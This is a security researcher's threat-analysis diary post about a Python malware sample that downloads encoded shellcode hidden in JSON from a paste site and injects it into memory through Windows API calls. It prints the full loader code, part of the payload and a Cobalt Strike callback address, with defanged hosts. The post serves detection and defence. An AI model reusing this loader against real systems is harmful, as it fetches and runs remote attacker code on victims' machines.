Python Shellcode Injection From JSON Data

Published: 2021-12-10
Last Updated: 2021-12-10 08:33:00 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

My hunting rules detected a niece piece of Python code. It's interesting to see how the code is simple, not deeply obfuscated, and with a very low VT score: 2/56![1]. I see more and more malicious Python code targeting the Windows environments. Thanks to the library ctypes[2], Python is able to use any native API calls provided by DLLs.

The script is very simple, so here is the full code:

import ctypes,urllib3,base64,json
try:
  b=eval
  t=bytearray
  u=len
  A=json.loads
  H=base64.b64decode
  P=urllib3.PoolManager
  q=ctypes.pointer
  M=ctypes.c_char
  D=ctypes.c_int
  f=ctypes.c_uint64
  F=ctypes.windll
  y={'Content-Type':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ',"Origin":'hxxps://txtpad[.]cn',}
  I="hxxps://a6[.]qikekeji[.]com/txt/data/detail/?txt_name=1231"
  n=A(A(P().request('GET',I,headers=y).data.decode(encoding='UTF-8'))['data']['txt_content'])[0]['content']
  U=b(H(n).decode('utf-8'))
  U=t(U)
  F.kernel32.VirtualAlloc.restype=f
  e=F.kernel32.VirtualAlloc(D(0),D(u(U)),D(0x3000),D(0x40))
  X=(M*u(U)).from_buffer(U)
  F.kernel32.RtlMoveMemory(f(e),X,D(u(U)))
  k=F.kernel32.CreateThread(D(0),D(0),f(e),D(0),D(0),q(D(0)))
  F.kernel32.WaitForSingleObject(D(k),D(-1))
except Exception as e:
  print(e)

Note the strange HTTP header "Content-Type" that contains a User-Agent!?

If you're familiar with code injection in Windows, you can quickly spot the magic combination of classic API calls:

  • kernel32.VirtualAlloc (with the "0x40")
  • kernel32.RtlMoveMemory
  • kernel32.CreateThread
  • kernel32.WaitForSingleObject

The shellcode is downloaded from a website and, based on the references to "json.loads" and "b64decode", we can guess that it's hidden in a JSON structure. When you visit the URL, you get this data back (beautified):

{
  "status":1,"data": 
  {
    "v_id":"c74fc1d6e42edcf7faf94eb82b55367a",
    "txt_name":"1231",
    "txt_id":"b50422211e7a5b75acc9aaed927de394",
    "txt_content":"
      [{\"title\":\"YiJceGZjXHg0OFx4ODNc\",
        \"content\":\"YiJceGZjXHg0OFx4 ... Content Removed ... NFx4NTNceGU1XHhmZlx4ZDVceDQ4XHg5M
                      1x4NTNceDUzXHg0OFx4ODlceGU3XHg0OFx4ODlceGYxXHg0OFx4ODlceGRhXHg0MVx4YjhceDA
                      wXHgyMFx4MDBceDAwXHg0OVx4ODlceGY5XHg0MVx4YmFceDEyXHg5Nlx4ODlceGUyXHhmZlx4Z
                      DVceDQ4XHg4M1x4YzRceDIwXHg4NVx4YzBceDc0XHhiNlx4NjZceDhiXHgwN1x4NDhceDAxXHh
                      jM1x4ODVceGMwXHg3NVx4ZDdceDU4XHg1OFx4NThceDQ4XHgwNVx4MDBceDAwXHgwMFx4MDBce
                      DUwXHhjM1x4ZThceDlmXHhmZFx4ZmZceGZmXHgzMVx4MzVceDMwXHgyZVx4MzFceDM1XHgzOFx
                      4MmVceDMzXHgzOVx4MmVceDMyXHgzMVx4MzVceDAwXHgxOVx4NjlceGEwXHg4ZCI=\"
       }
      ]",
    "read_count":134,
    "report_count":0
  },
  "req_id":"de4d1b3c08f459508760"
}

The "content" variable contains the shellcode. It is extracted and injected.

Note that the shellcode is Base64-encoded but also hex-encoded. The shellcode phones home to http://150[.]158[.]39[.]215/x9Ic (a classic Cobalt Strike[3]).

[1] https://www.virustotal.com/gui/file/a848d43eae6518569edb17158a9a127167051266dd406acbb963d1330a9ffefc/detection
[2] https://docs.python.org/3/library/ctypes.html
[3] https://isc.sans.edu/forums/diary/Finding+Metasploit+Cobalt+Strike+URLs/27204/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
Diary Archives